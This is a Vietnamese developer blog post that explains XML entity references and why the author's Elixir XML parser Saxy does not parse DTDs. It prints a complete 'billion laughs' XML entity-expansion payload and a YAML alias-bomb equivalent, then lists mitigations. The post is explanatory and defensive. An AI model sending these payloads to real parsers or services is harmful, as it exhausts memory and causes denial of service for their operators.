Quần Cam Blog

[XML DoS] Những nụ cười rực rỡ

Mặc dù làm việc với XML không phải là lúc nào cũng vui vẻ thú vị nhưng cùng với JSON, nó vẫn là một trong hai format được sử dụng nhiều nhất hiện nay cho việc trao đổi dữ liệu.

Laugh Face

Hẳn các bạn theo dõi page Facebook đã biết là tui mới viết xong Sá Xị, một XML parser cho ngôn ngữ Elixir. Và nếu để ý, bạn sẽ nhớ ra là mình chưa star … 🙊 lộn, bạn sẽ thấy lạ vì Sá Xị, ngoài việc bắt buộc bạn phải cài đặt hàm handle_event/3 để handle các event được xuất ra, còn đòi hỏi bạn phải cài đặt thêm một hàm tên handle_entity_reference/1.

defmodule MyHandler do
  @behaviour Saxy.Handler

  def handle_event(event_type, event_data, state) do
    do_handle_event(event_type, event_data, state)
  end

  def handle_entity_reference(name) do
    MyHTMLEntities.lookup(name)
  end
end

XML Reference

Như đã biết, XML là một markup language cho phép bạn có thể trộn nội dụng cần truyền tải. Nội dung của một element có thể trộn lẫn giữa text, element, reference, CDATA, comment, processing instruction. Trong đó reference là một loại nội dung khá đặc biệt của XML.

Reference là một loại nội dung tham chiếu. Khi soạn nội dung với XML, thay vì viết huỵt toẹt ra nội dung, bạn có thể mượn reference để thay lời muốn nói.

Có hai loại reference trong XML: character reference và entity reference. Ví dụ cả ba câu sau đây đều xuất ra dòng "I love Tom & Jerry".

<?xml version="1.0" ?>
<message>I love Tom &#38; Jerry</message>  <!-- hexadecimal character reference -->
<message>I love Tom &#x26; Jerry</message> <!-- decimal character reference -->
<message>I love Tom &amp; Jerry</message>  <!-- entity reference -->

Không chỉ dừng ở đó, XML cho phép bạn mở rộng entity reference bằng cách định nghĩa chúng ở document type definition (DTD). Như ở ví dụ sau đây để diễn đạt "This is Quần Cam from Cẩm Huỳnh", tui có thể soạn:

<?xml version="1.0" ?>
<!DOCTYPE blog [
  <!ENTITY blog_name "Quần Cam">
  <!ENTITY author "Cẩm Huỳnh">
]>
<blog>This is &blog_name; from &author;</blog>

Đồng thời DTD có phép bạn lồng các định nghĩa entity.

<?xml version="1.0" ?>
<!DOCTYPE blog [
  <!ENTITY blog_name "Quần Cam">
  <!ENTITY author "Cẩm Huỳnh">
  <!ENTITY the "Cái">
  <!ENTITY of "của">
  <!ENTITY full_blog_name "&the; &blog_name; &of; &author;">
]>
<blog>&full_blog_name;</blog>
<blog>Cái Quần Cam của Cẩm Huỳnh</blog>

Và rồi từ ấy trong tôi bừng cháy rạ.

Tỉ nụ cười rực rỡ

Cho một đoạn XML lố bịch sau:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

Khi XML processor load file này và triển khai nội dung của element lolz, theo đúng logic ta đã bàn ở trên nó sẽ là:

=> 1 &lol9;
=> 10 &lol8;
=> 100 &lol7;
=> 1000 &lol6;
=> 10000 &lol5;
=> 100000 &lol4;
=> 1000000 &lol3;
=> 10000000 &lol2;
=> 100000000 &lol1;
=> 1000000000 &lol;
=> 1000000000 "lol"

Chỉ với một đoạn XML vài trăm ký tự và 1 &lol9; ban đầu, giờ đây bạn có 1 tỉ "lol" string trong hệ thống, tương đương với 3GB memory, có thể dùng để tấn công từ chối dịch vụ (DoS).

Cách tấn công này không hạn chế cho chỉ XML mà cho tất cả data format hỗ trợ reference như YAML.

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Một vài XML parsers từng xảy ra lỗi này:

Bài viết này sẽ giúp tui tăng lương như thế nào?

Hy vọng bài viết đầu tiên trong năm nay cũng không giúp bạn tăng lương.

Có một số best practice để phòng chống tấn công như:

  • Không parse DTD.
  • Không expand entities.
  • Giới hạn độ sâu khi convert entity.
  • Giới thiệu timeout khi parse.
  • Giới hạn memory.

Quay lại thắc mắc ở đầu bài, tui chọn cách đơn giản nhất cho Sá Xị:

1) không parse DTD vì thực sự là rule của nó viết rất phê 😁 (chắc còn tốn thời gian hơn cả việc viết nguyên bộ rule XML) và hầu hết các parser khác cũng không parse nó.

2) ít concern hơn cho một parser, và vì bạn phải là người nắm rõ nhất việc process là như thế nào; dù sao đi chăng nữa Sá Xị chỉ là một parser.


NGUY HIỂM! KHU VỰC NHIỀU GIÓ!
Khuyến cáo giữ chặt bàn phím và lướt thật nhanh khi đi qua khu vực này.
Chức năng này hỗ trợ markdown và các thứ liên quan.

Bài viết cùng chủ đề

Trứng lòng đào và các vấn đề đồng hồ trong lập trình

Vì sao đồng hồ lại không đáng tin cậy? Dùng đồng hồ trong máy tính như thế nào thì hợp lý?

IO data và Vectored IO

Bài viết giới thiệu về IO data, Vectored I/O và tối ưu hóa hệ thống dùng Elixir bằng cách tận dụng Vectored I/O.

[Web nhà nghèo] Tui đã viết tính năng “chém gió” như thế nào?

Trình bày cách tui xây dựng chức năng comment cho blog thay cho Disqus mà không tốn một đồng nào cả.